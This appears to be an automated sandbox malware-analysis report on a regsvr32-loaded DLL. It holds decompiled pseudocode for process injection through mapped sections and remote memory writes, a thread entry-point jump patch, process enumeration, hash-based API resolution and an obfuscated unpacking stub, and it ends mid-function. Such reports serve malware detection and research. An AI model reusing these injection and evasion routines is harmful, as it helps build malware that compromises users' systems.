0x1000e007
0x1000e00f
0x1000e012
0x1000e012
0x1000e015
0x1000e018
0x1000e02a
0x1000e02a
0x1000e030
0x1000e03a
0x1000e03a
0x00000000
0x1000e03d
0x1000de50
0x1000de6a
0x00000000
0x00000000
0x1000de78
0x1000de79
0x1000de7a
0x1000de7b
0x1000de84
0x1000de85
0x1000de89
0x1000de91
0x1000de93
0x1000de9a
0x1000de9b
0x1000de9e
0x1000dea5
0x1000dea8
0x1000deaf
0x1000deb2
0x1000debe
0x1000dee0
0x1000dee8
0x1000deeb
0x1000def6
0x1000def6
0x1000dee8
0x1000df20
0x00000000
0x1000df4c
0x1000df58
0x1000df5f
0x1000df64
0x00000000
0x00000000
0x1000df79
0x1000df87
0x1000df9a
0x1000dfa2
0x1000dfa7
0x1000dfac
0x1000dfb2
0x1000dfc1
0x1000dfcf
0x1000dfd9
0x1000dfe3
0x1000dfe6
0x1000dfe8
0x1000dfe8
0x1000dfea
0x1000dfee
0x1000dff5
0x1000dff8
0x00000000
0x1000dff0
0x1000dff0
0x1000dff0
0x1000dff1
0x00000000
0x1000dff0
0x1000dfee
0x1000df20
0x1000de1d
0x00000000

APIs

NtCreateSection.NTDLL(00000000,0000000E,00000000,?,00000040,08000000,00000000,00000000), ref: 1000DE65
RegisterClassExA.USER32(?), ref: 1000DEB5
CreateWindowExA.USER32 ref: 1000DEE0
DestroyWindow.USER32(00000000), ref: 1000DEEB
UnregisterClassA.USER32 ref: 1000DEF6
GetCurrentProcess.KERNEL32(1000732D,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 1000DF0C
NtMapViewOfSection.NTDLL(00000000,00000000), ref: 1000DF1B
NtMapViewOfSection.NTDLL(00000000,1000732D,?,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 1000DF41
VirtualAllocEx.KERNELBASE(1000732D,00000000,00001AC4,00001000,00000004), ref: 1000DF84
WriteProcessMemory.KERNELBASE(1000732D,00000000,1000E25D,00001AC4,?), ref: 1000DF9A
memcpy.MSVCRT ref: 1000DFC1
GetCurrentProcess.KERNEL32(1000732D,00000000), ref: 1000E023
NtUnmapViewOfSection.NTDLL(00000000), ref: 1000E02A
NtClose.NTDLL(00000000,00000000), ref: 1000E03A

Strings

cdcdwqwqwq, xrefs: 1000DE7C
0, xrefs: 1000DEA8
sadccdcdsasa, xrefs: 1000DE70
237, xrefs: 1000DFD4

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: Section$ProcessView$ClassCreateCurrentWindow$AllocCloseDestroyMemoryRegisterUnmapUnregisterVirtualWritememcpy
String ID: 0$237$cdcdwqwqwq$sadccdcdsasa
API String ID: 4228356102-782192524
Opcode ID: 166c54ad5796e2f20a25d6d06f05401f55fb357cff2d75e9ae58d235f6522170
Instruction ID: 93dff829150f5a266a4784b0c53fb92098b0dff243ebc699c78889ee03f1575e
Opcode Fuzzy Hash: 166c54ad5796e2f20a25d6d06f05401f55fb357cff2d75e9ae58d235f6522170
Instruction Fuzzy Hash: 9A810DB5900259AFEB11DF94CC85EAEBBBDFF08380F20446AF605AB255D7719E41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1000E23A, Relevance: 9.1, APIs: 6, Instructions: 85
nativefilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1000E23A(void** __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				long _v8;
				intOrPtr _v15;
				void _v16;
				void* _v20;
				long _v24;
				struct _CONTEXT _v748;
				struct HINSTANCE__* _t27;
				WCHAR* _t28;
				void* _t33;
				void* _t39;
				void* _t49;
				intOrPtr _t58;

				_t49 = 0;
				if(E1000E0D7(__esi) != 0) {
					_t33 = E1000DDC7( *__esi, _a8); // executed
					_t49 = _t33;
					if(_t49 != 0) {
						memset( &_v748, 0, 0x2cc);
						_v748.ContextFlags = 0x10002;
						if(GetThreadContext(__esi[1],  &_v748) != 0) {
							_t39 = _v748.Eax;
							_t58 = _a4;
							_v24 = _v24 & 0x00000000;
							_v20 = _t39;
							_t17 = _t58 - 5; // 0x6f0de8
							_v16 = 0xe9;
							_v15 = _t49 - _t39 - _a8 + _t17;
							_v8 = 5;
							if(NtProtectVirtualMemory( *__esi,  &_v20,  &_v8, 0x40,  &_v24) < 0 || NtWriteVirtualMemory( *__esi, _v748.Eax,  &_v16, 5,  &_v8) < 0) {
								_t49 = 0;
							}
						}
					}
				}
				_t27 =  *0x1002b85c; // 0x0
				if(_t27 != 0) {
					FreeLibrary(_t27);
					 *0x1002b85c =  *0x1002b85c & 0x00000000;
				}
				_t28 =  *0x1002b860; // 0x0
				if(_t28 != 0) {
					DeleteFileW(_t28);
					E100094F4(0x1002b860, 0xfffffffe);
				}
				return _t49;
			}

0x1000e244
0x1000e24d
0x1000e258
0x1000e25d
0x1000e263
0x1000e277
0x1000e28e
0x1000e2a0
0x1000e2a2
0x1000e2a8
0x1000e2ab
0x1000e2af
0x1000e2ce
0x1000e2d2
0x1000e2d6
0x1000e2d9
0x1000e2e5
0x1000e305
0x1000e305
0x1000e2e5
0x1000e2a0
0x1000e263
0x1000e307
0x1000e30e
0x1000e311
0x1000e317
0x1000e317
0x1000e31e
0x1000e325
0x1000e328
0x1000e335
0x1000e33b
0x1000e340

APIs

Part of subcall function 1000E0D7: CopyFileW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000E1B3
Part of subcall function 1000E0D7: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 1000E1BF
Part of subcall function 1000E0D7: memset.MSVCRT ref: 1000E204

memset.MSVCRT ref: 1000E277
GetThreadContext.KERNELBASE(?,?), ref: 1000E298
NtProtectVirtualMemory.NTDLL(00000000,?,?,00000040,00000000), ref: 1000E2E0
NtWriteVirtualMemory.NTDLL(00000000,?,000000E9,00000005,00000005), ref: 1000E2FE
FreeLibrary.KERNEL32(00000000), ref: 1000E311
DeleteFileW.KERNEL32(00000000), ref: 1000E328

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: FileLibraryMemoryVirtualmemset$ContextCopyDeleteFreeLoadProtectThreadWrite
String ID:
API String ID: 3150519664-0
Opcode ID: ea642723fc08ef1a2b54d981a80c36f28f36cd7dc0febaf39024e2b8f18a47f3
Instruction ID: 023def8c2648edf05c156a4fffadfe50f83a6dba8c9b096120b3c6cceace7b37
Opcode Fuzzy Hash: ea642723fc08ef1a2b54d981a80c36f28f36cd7dc0febaf39024e2b8f18a47f3
Instruction Fuzzy Hash: 7C314A35600259ABEB00DFA4CC89FAABBECEB04354F114169E908E61A5DB71EA44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1C7, Relevance: 6.1, APIs: 4, Instructions: 66
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E1000A1C7(void* __ecx, intOrPtr _a4) {
				void* _v304;
				char _v308;
				signed int _t15;
				signed int _t16;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t31;
				void* _t33;
				void* _t36;
				void* _t41;

				_t33 = __ecx;
				_t15 = CreateToolhelp32Snapshot(2, 0);
				_t36 = _t15;
				_t16 = _t15 | 0xffffffff;
				if(_t36 != _t16) {
					memset( &_v304, 0, 0x128);
					_v304 = 0x128;
					if(Process32First(_t36,  &_v304) != 0) {
						_t22 = 0;
						do {
							_t22 = _t22 + 1;
						} while (_t22 < 0xf);
						while(1) {
							_t24 = E1000E7F9(_t33,  &_v308, _a4); // executed
							_t41 = _t24;
							_pop(_t33);
							if(_t41 == 0) {
								break;
							}
							_push( &_v308);
							_t29 =  *0x1002b760; // 0x121f8b0
							_push(_t36);
							if( *((intOrPtr*)(_t29 + 0x44))() != 0) {
								continue;
							}
							break;
						}
						FindCloseChangeNotification(_t36);
						_t16 = 0 | _t41 == 0x00000000;
					} else {
						_t31 =  *0x1002b760; // 0x121f8b0
						 *((intOrPtr*)(_t31 + 0x30))(_t36);
						_t16 = 0xfffffffe;
					}
				}
				return _t16;
			}

0x1000a1c7
0x1000a1de
0x1000a1e1
0x1000a1e3
0x1000a1e8
0x1000a1f7
0x1000a20a
0x1000a213
0x1000a223
0x1000a225
0x1000a225
0x1000a226
0x1000a22b
0x1000a233
0x1000a238
0x1000a23b
0x1000a23e
0x00000000
0x00000000
0x1000a244
0x1000a245
0x1000a24a
0x1000a250
0x00000000
0x00000000
0x00000000
0x1000a250
0x1000a258
0x1000a25f
0x1000a215
0x1000a215
0x1000a21b
0x1000a220
0x1000a220
0x1000a213
0x1000a267

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?), ref: 1000A1DE
memset.MSVCRT ref: 1000A1F7
Process32First.KERNEL32(00000000,?), ref: 1000A20E
FindCloseChangeNotification.KERNELBASE(00000000), ref: 1000A258

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32memset
String ID:
API String ID: 3344077921-0
Opcode ID: 6756e686f74002c365dffa3d9330735646bb37159ab86039ec53ae70bd9744fd
Instruction ID: fd749216bc98b7709753090f63aad0ab311b9b1f84bd6d4405c6657ffef1a8d3
Opcode Fuzzy Hash: 6756e686f74002c365dffa3d9330735646bb37159ab86039ec53ae70bd9744fd
Instruction Fuzzy Hash: B111EB32908619AFD310DBACDC88F5A37ECFF8A7A0F110629F514CB1A4E720D8418791

Uniqueness

Uniqueness Score: -1.00%

Function 1000E5F3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E1000E5F3(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v80;
				intOrPtr _t48;
				intOrPtr _t49;
				_Unknown_base(*)()* _t52;
				signed int _t56;
				struct HINSTANCE__* _t62;
				void* _t66;
				CHAR* _t68;
				intOrPtr _t69;
				void* _t74;
				char _t77;
				void* _t80;
				_Unknown_base(*)()* _t82;
				void* _t84;
				void* _t87;
				void* _t88;
				void* _t89;

				_t69 = _a4;
				_t48 =  *((intOrPtr*)(_t69 + 0x3c)) + _t69;
				_v16 = _t48;
				_t49 =  *((intOrPtr*)(_t48 + 0x78));
				if(_t49 != 0) {
					_v8 = _v8 & 0x00000000;
					_t84 = _t49 + _t69;
					_t80 =  *((intOrPtr*)(_t84 + 0x20)) + _t69;
					_t66 =  *((intOrPtr*)(_t84 + 0x24)) + _t69;
					_v12 =  *((intOrPtr*)(_t84 + 0x1c)) + _t69;
					if( *((intOrPtr*)(_t84 + 0x18)) <= 0) {
						L18:
						_t52 = 0;
					} else {
						while(1) {
							_t56 = E1000BF2C(0,  *((intOrPtr*)(_t80 + _v8 * 4)) + _t69, E1000C90F( *((intOrPtr*)(_t80 + _v8 * 4)) + _t69));
							_t89 = _t89 + 0xc;
							if((_t56 ^ 0x218fe95b) == _a8) {
								break;
							}
							_v8 = _v8 + 1;
							if(_v8 <  *((intOrPtr*)(_t84 + 0x18))) {
								_t69 = _a4;
								continue;
							} else {
								goto L18;
							}
							goto L19;
						}
						_t52 =  *((intOrPtr*)(_v12 + ( *(_t66 + _v8 * 2) & 0x0000ffff) * 4)) + _a4;
						if(_t52 >= _t84) {
							_t30 = _v16 + 0x7c; // 0xe53b4016
							if(_t52 <  *_t30 + _t84) {
								_t74 = 0;
								_t68 = _t52;
								_t82 = _t52;
								_t87 =  &_v80 - _t52;
								while(1) {
									_t77 =  *_t82;
									if(_t77 == 0x2e || _t77 == 0) {
										break;
									}
									_t74 = _t74 + 1;
									 *((char*)(_t87 + _t82)) = _t77;
									_t82 = _t82 + 1;
									if(_t74 < 0x40) {
										continue;
									}
									break;
								}
								 *((char*)(_t88 + _t74 - 0x4c)) = 0x2e;
								 *((char*)(_t88 + _t74 - 0x4b)) = 0x64;
								 *((char*)(_t88 + _t74 - 0x4a)) = 0x6c;
								 *((char*)(_t88 + _t74 - 0x49)) = 0x6c;
								 *((char*)(_t88 + _t74 - 0x48)) = 0;
								if( *((char*)(_t74 + _t52)) != 0) {
									_t45 = _t52 + 1; // 0x2
									_t68 = _t74 + _t45;
								}
								_t46 =  &_v80; // 0x2e
								_t62 = LoadLibraryA(_t46); // executed
								if(_t62 == 0) {
									goto L18;
								} else {
									_t52 = GetProcAddress(_t62, _t68);
									if(_t52 == 0) {
										goto L18;
									}
								}
							}
						}
					}
					L19:
					return _t52;
				} else {
					return _t49;
				}
			}

0x1000e5f9
0x1000e5ff
0x1000e601
0x1000e604
0x1000e609
0x1000e60d
0x1000e613
0x1000e622
0x1000e624
0x1000e62a
0x1000e62d
0x1000e6e6
0x1000e6e6
0x1000e633
0x1000e638
0x1000e64a
0x1000e654
0x1000e65a
0x00000000
0x00000000
0x1000e65c
0x1000e665
0x1000e635
0x00000000
0x1000e667
0x00000000
0x1000e667
0x00000000
0x1000e665
0x1000e676
0x1000e67b
0x1000e680
0x1000e687
0x1000e68c
0x1000e68e
0x1000e690
0x1000e692
0x1000e694
0x1000e694
0x1000e699
0x00000000
0x00000000
0x1000e69f
0x1000e6a0
0x1000e6a3
0x1000e6a7
0x00000000
0x00000000
0x00000000
0x1000e6a7
0x1000e6ad
0x1000e6b2
0x1000e6b7
0x1000e6bc
0x1000e6c1
0x1000e6c6
0x1000e6c8
0x1000e6c8
0x1000e6c8
0x1000e6cc
0x1000e6d0
0x1000e6d8
0x00000000
0x1000e6da
0x1000e6dc
0x1000e6e4
0x00000000
0x00000000
0x1000e6e4
0x1000e6d8
0x1000e687
0x1000e67b
0x1000e6e8
0x1000e6ec
0x1000e60c
0x1000e60c
0x1000e60c

Strings

.dll, xrefs: 1000E6CC, 1000E6CF

Memory Dump Source

Source File: 00000003.00000002.701108906.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.701082448.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.701182570.0000000010020000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.701219486.000000001002A000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID: .dll
API String ID: 0-2738580789
Opcode ID: 0fabb42464f50e78d02de92b3c28278877bca8f4ffe122d16cf062231f3fa84e
Instruction ID: b16e04ca66e463e8162e869d4bb400575bb9d386dde4a6ba99c9fa476c6c07b8
Opcode Fuzzy Hash: 0fabb42464f50e78d02de92b3c28278877bca8f4ffe122d16cf062231f3fa84e
Instruction Fuzzy Hash: 9D315B35A002849FEB24CF68E884BAD7BE6EF547C8F24446CE841E7246D776ED46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010D6956, Relevance: 3.6, APIs: 2, Instructions: 617
memoryCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E010D6956(signed int __ebx, void* __ecx, signed int __edx, signed int __edi, void* __eflags) {
				void* __esi;
				void* __ebp;
				signed int _t371;
				signed int _t374;
				signed int _t379;
				signed int _t384;
				signed int _t389;
				intOrPtr _t392;
				signed int _t395;
				signed int _t399;
				signed int _t405;
				void* _t419;
				signed int _t422;
				signed int _t425;
				intOrPtr _t437;
				intOrPtr _t441;
				intOrPtr _t448;
				signed int _t450;
				signed int _t453;
				signed int _t462;
				signed int _t463;
				signed int _t466;
				signed int _t470;
				signed int _t473;
				signed int _t476;
				signed int _t479;
				signed int _t482;
				signed int _t483;
				signed int _t486;
				signed int _t488;
				signed int _t491;
				signed int _t492;
				void* _t495;
				signed int _t498;
				signed int _t501;
				signed int _t504;
				signed int _t506;
				signed int _t508;
				signed int _t514;
				signed int _t516;
				void* _t523;
				signed int _t529;
				signed int _t532;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t549;
				signed int _t554;
				signed int _t560;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t569;
				void* _t570;
				signed int _t571;
				signed int _t584;
				void* _t587;
				signed int _t590;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t595;
				signed int* _t597;

				_t540 = __edx;
				 *_t591 =  *_t591 & 0x00000000;
				 *_t591 =  *_t591 ^ __ebx + 0x00444d78;
				_push(_t571);
				 *_t591 =  *_t591 & 0x00000000;
				 *_t591 =  *_t591 | __ebx + 0x00444dc3;
				_push( *((intOrPtr*)(__ebx + 0x445214))());
				_pop( *_t4);
				_push( *(_t584 - 8));
				_pop( *_t6);
				E010D828F(_t367, __ebx, __ecx, __edx, __edi);
				_push(_t571);
				 *_t591 =  *_t591 ^ _t571;
				 *_t591 = __ebx + 0x444ccf;
				 *(_t584 - 8) = 0;
				_push( *(_t584 - 8));
				 *_t591 =  *_t591 + __ebx + 0x44334e;
				_t371 =  *((intOrPtr*)(__ebx + 0x445214))();
				 *(_t584 - 8) = __edi;
				 *(__ebx + 0x4449f5) = _t371;
				_t560 =  *(_t584 - 8);
				_push(__ecx);
				_t491 = __ebx | __ebx;
				_t488 = _t491;
				_pop(_t492);
				if(_t491 != 0) {
					 *_t591 =  *_t591 ^ __edx;
					 *_t591 =  *_t591 ^ _t488 + 0x00444dac;
					 *(_t584 - 4) =  *(_t584 - 4) & 0x00000000;
					 *_t591 =  *_t591 ^ _t488 + 0x0044318f;
					_t470 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t584 - 4), __edx);
					 *_t591 = _t492;
					 *(_t488 + 0x4437e0) = 0 ^ _t470;
					_t529 = 0;
					 *(_t584 - 4) = 0;
					 *_t591 =  *_t591 + _t488 + 0x443314;
					 *_t591 = _t488 + 0x4447bd;
					_t473 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t584 - 8),  *(_t584 - 4), 4);
					 *(_t584 - 4) = _t571;
					 *(_t488 + 0x444444) =  *(_t488 + 0x444444) & 0x00000000;
					 *(_t488 + 0x444444) =  *(_t488 + 0x444444) ^ (_t571 & 0x00000000 | _t473);
					_t571 =  *(_t584 - 4);
					 *_t591 =  *_t591 ^ _t571;
					 *_t591 = _t488 + 0x44457a;
					 *_t591 =  *_t591 & 0x00000000;
					 *_t591 =  *_t591 | _t488 + 0x00444927;
					_t476 =  *((intOrPtr*)(_t488 + 0x445214))(_t529, _t571, 0x1000);
					 *(_t488 + 0x4440b9) =  *(_t488 + 0x4440b9) & 0x00000000;
					 *(_t488 + 0x4440b9) =  *(_t488 + 0x4440b9) | _t529 ^  *_t591 ^ _t476;
					_t532 = _t529;
					 *(_t584 - 8) = 0;
					 *_t591 =  *_t591 + _t488 + 0x443211;
					 *_t591 =  *_t591 ^ __edx;
					 *_t591 = _t488 + 0x443200;
					_t479 =  *((intOrPtr*)(_t488 + 0x445214))(__edx,  *(_t584 - 8),  *((intOrPtr*)(_t488 + 0x44426d)));
					 *(_t584 - 4) = _t532;
					 *(_t488 + 0x44360f) =  *(_t488 + 0x44360f) & 0x00000000;
					 *(_t488 + 0x44360f) =  *(_t488 + 0x44360f) ^ _t532 & 0x00000000 ^ _t479;
					_t535 =  *(_t584 - 4);
					 *(_t584 - 8) = 0;
					 *_t591 =  *_t591 | _t488 + 0x004448b8;
					 *_t591 = _t488 + 0x4436ad;
					_t482 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t584 - 4),  *(_t584 - 8), 0);
					asm("adc al, 0x52");
					_t591 =  &(_t591[0]);
					 *((intOrPtr*)(_t535 - 0x36ce07b3)) =  *((intOrPtr*)(_t535 - 0x36ce07b3)) + _t535;
					 *(_t488 + 0x44308a) = _t535 | _t482;
					_t537 =  *(_t584 - 8);
					_t483 = VirtualAlloc(??, ??, ??, ??);
					 *_t591 =  *_t591 & 0x00000000;
					 *_t591 =  *_t591 ^ _t483;
					 *(_t584 - 4) = 0;
					 *_t591 =  *_t591 | _t488 + 0x00443bad;
					 *(_t584 - 4) =  *(_t584 - 4) & 0x00000000;
					 *_t591 =  *_t591 + _t488 + 0x4443f5;
					_t486 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t584 - 4),  *(_t584 - 4), _t560);
					 *(_t488 + 0x444bf1) =  *(_t488 + 0x444bf1) & 0x00000000;
					 *(_t488 + 0x444bf1) =  *(_t488 + 0x444bf1) ^ (_t537 -  *_t591 | _t486);
					_t492 = _t537;
					_pop( *_t76);
					_t371 =  *(_t584 - 8);
				}
				 *(_t584 - 8) =  *(_t584 - 8) & 0x00000000;
				 *_t591 =  *_t591 | _t371;
				 *(_t584 - 4) =  *(_t584 - 4) & 0x00000000;
				 *_t591 =  *_t591 | _t371;
				 *_t591 =  *_t591 & 0x00000000;
				 *_t591 =  *_t591 + _t488 + 0x443636;
				 *_t591 =  *_t591 & 0x00000000;
				 *_t591 =  *_t591 ^ _t488 + 0x00443af1;
				_t374 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t584 - 4),  *(_t584 - 8));
				 *(_t488 + 0x444f9f) =  *(_t488 + 0x444f9f) & 0x00000000;
				 *(_t488 + 0x444f9f) =  *(_t488 + 0x444f9f) | _t584 ^  *_t591 ^ _t374;
				_t587 = _t584;
				 *_t91 = _t488;
				 *_t93 = _t560;
				 *_t591 =  *_t591 & 0x00000000;
				 *_t591 =  *_t591 |  *(_t587 - 8);
				 *_t591 = _t488 + 0x44462f;
				 *_t591 = _t488 + 0x443e67;
				_t379 =  *((intOrPtr*)(_t488 + 0x445214))( *((intOrPtr*)(_t587 - 4)),  *(_t587 - 8), _t488);
				 *(_t488 + 0x443596) =  *(_t488 + 0x443596) & 0x00000000;
				 *(_t488 + 0x443596) =  *(_t488 + 0x443596) ^ (_t587 -  *_t591 | _t379);
				_t590 = _t587;
				_t592 =  &(_t591[1]);
				 *(_t488 + 0x44391d) = 2;
				 *_t592 =  *_t592 ^ _t590;
				 *_t592 =  *_t592 |  *_t591;
				 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
				 *_t592 =  *_t592 | _t488 + 0x004441e3;
				 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
				 *_t592 =  *_t592 + _t488 + 0x4440b2;
				_t384 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 4), _t590);
				 *(_t488 + 0x443f05) =  *(_t488 + 0x443f05) & 0x00000000;
				 *(_t488 + 0x443f05) =  *(_t488 + 0x443f05) ^ _t492 & 0x00000000 ^ _t384;
				_t495 = _t492;
				_t593 =  &(_t592[1]);
				 *(_t590 - 4) = _t495;
				 *(_t488 + 0x444f4b) =  *(_t488 + 0x444f4b) & 0x00000000;
				 *(_t488 + 0x444f4b) =  *(_t488 + 0x444f4b) ^ _t495 -  *(_t590 - 4) ^ _t384 & 0x00000000 ^  *_t592;
				_t498 =  *(_t590 - 4);
				 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
				 *_t593 =  *_t593 + _t488 + 0x443dd9;
				 *(_t590 - 4) = 0;
				 *_t593 =  *_t593 ^ _t488 + 0x004445b6;
				_t389 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 4));
				 *(_t590 - 4) = _t498;
				 *(_t488 + 0x4444f0) =  *(_t488 + 0x4444f0) & 0x00000000;
				 *(_t488 + 0x4444f0) =  *(_t488 + 0x4444f0) ^ _t498 ^  *(_t590 - 4) ^ _t389;
				_t501 =  *(_t590 - 4);
				if( *(_t488 + 0x443044) > 0) {
					 *(_t590 - 8) =  *(_t590 - 8) & 0x00000000;
					 *_t593 =  *_t593 + _t488 + 0x444e0d;
					 *_t593 =  *_t593 ^ _t590;
					 *_t593 =  *_t593 ^ _t488 + 0x004431c7;
					_push( *((intOrPtr*)(_t488 + 0x445214))(_t590,  *(_t590 - 8)));
					_pop( *_t146);
					_push( *(_t590 - 4));
					_pop( *_t148);
					 *(_t590 - 8) = 0;
					 *_t593 =  *_t593 ^ _t488 + 0x0044391d;
					 *(_t590 - 8) =  *(_t590 - 8) & 0x00000000;
					 *_t593 =  *_t593 ^ _t488 + 0x00444320;
					 *_t593 = _t488 + 0x444030;
					_t448 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 8),  *(_t590 - 8));
					 *_t593 = _t540;
					 *((intOrPtr*)(_t488 + 0x443019)) = _t448;
					_t554 = 0;
					_t450 = 0 ^  *_t593;
					_t593 =  &(_t593[1]);
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 ^ _t450;
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 | _t488 + 0x004443eb;
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 ^ _t488 + 0x00443e5a;
					_t453 =  *((intOrPtr*)(_t488 + 0x445214))(_t488, _t571, _t590);
					 *(_t590 - 4) = _t501;
					 *(_t488 + 0x444e33) =  *(_t488 + 0x444e33) & 0x00000000;
					 *(_t488 + 0x444e33) =  *(_t488 + 0x444e33) | _t501 & 0x00000000 | _t453;
					_t523 =  *(_t590 - 4);
					 *_t593 =  *_t593 - _t523;
					 *_t593 = _t488 + 0x444bad;
					 *(_t590 - 4) = 0;
					 *_t593 =  *_t593 ^ _t488 + 0x0044409a;
					_push( *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4), _t523, 0x40));
					_pop( *_t174);
					_push( *(_t590 - 8));
					_pop( *_t176);
					 *_t593 = _t488 + 0x443016;
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 + _t488 + 0x4436a0;
					_push( *((intOrPtr*)(_t488 + 0x445214))(_t554,  *(_t590 - 8),  *(_t488 + 0x443103)));
					_pop( *_t182);
					_push( *(_t590 - 4));
					_pop( *_t184);
					 *(_t590 - 4) =  *(_t590 - 4) & 0x00000000;
					 *_t593 =  *_t593 | _t488 + 0x00444df3;
					 *_t593 = _t488 + 0x444ab3;
					_t462 =  *((intOrPtr*)(_t488 + 0x445214))();
					 *(_t590 - 8) = _t554;
					 *(_t488 + 0x444135) =  *(_t488 + 0x444135) & 0x00000000;
					 *(_t488 + 0x444135) =  *(_t488 + 0x444135) ^ (_t554 & 0x00000000 | _t462);
					_t540 =  *(_t590 - 8);
					_t463 = VirtualProtect( *(_t590 - 4),  *(_t590 - 4),  *(_t488 + 0x443044), ??);
					 *_t593 =  *_t593 ^ _t590;
					 *_t593 =  *_t593 ^ _t463;
					 *_t593 = _t488 + 0x443ce3;
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 ^ _t488 + 0x00443340;
					_t466 =  *((intOrPtr*)(_t488 + 0x445214))(_t560,  *(_t590 - 4), _t590);
					 *(_t488 + 0x4436c0) =  *(_t488 + 0x4436c0) & 0x00000000;
					 *(_t488 + 0x4436c0) =  *(_t488 + 0x4436c0) ^ (_t523 -  *_t593 | _t466);
					 *_t208 = _t523;
					_t389 =  *(_t590 - 4) + (_t466 & 0x00000000);
				}
				if(_t389 != _t488) {
					 *_t593 = _t488 + 0x44349f;
					 *(_t590 - 4) = 0;
					 *_t593 =  *_t593 ^ _t488 + 0x00443efe;
					_push( *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 4),  *(_t590 - 4)));
					_pop( *_t216);
					_push( *(_t590 - 8));
					_pop( *_t218);
					 *(_t590 - 4) = 0;
					 *_t593 =  *_t593 | _t488 + 0x00444fb8;
					 *_t593 = _t488 + 0x4433aa;
					_push( *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 8),  *(_t590 - 4),  *((intOrPtr*)(_t488 + 0x443b7b))));
					_pop( *_t226);
					_push( *(_t590 - 4));
					_pop( *_t228);
					 *_t593 =  *_t593 & 0x00000000;
					 *_t593 =  *_t593 + _t488 + 0x4446a6;
					 *(_t590 - 8) = 0;
					 *_t593 =  *_t593 | _t488 + 0x00443ae6;
					_t437 =  *((intOrPtr*)(_t488 + 0x445214))( *((intOrPtr*)(_t488 + 0x444f18)));
					 *(_t590 - 4) = _t571;
					 *((intOrPtr*)(_t488 + 0x444be5)) = _t437;
					E010D135F(_t488, _t540, _t560,  *(_t590 - 8), _t571);
					 *(_t590 - 4) = 0;
					 *_t593 =  *_t593 ^ _t488 + 0x00444ce7;
					 *(_t590 - 8) = 0;
					 *_t593 =  *_t593 + _t488 + 0x4439d2;
					_t441 =  *((intOrPtr*)(_t488 + 0x445214))( *(_t590 - 8),  *(_t590 - 4));
					 *((intOrPtr*)(_t488 + 0x443f79)) = _t441;
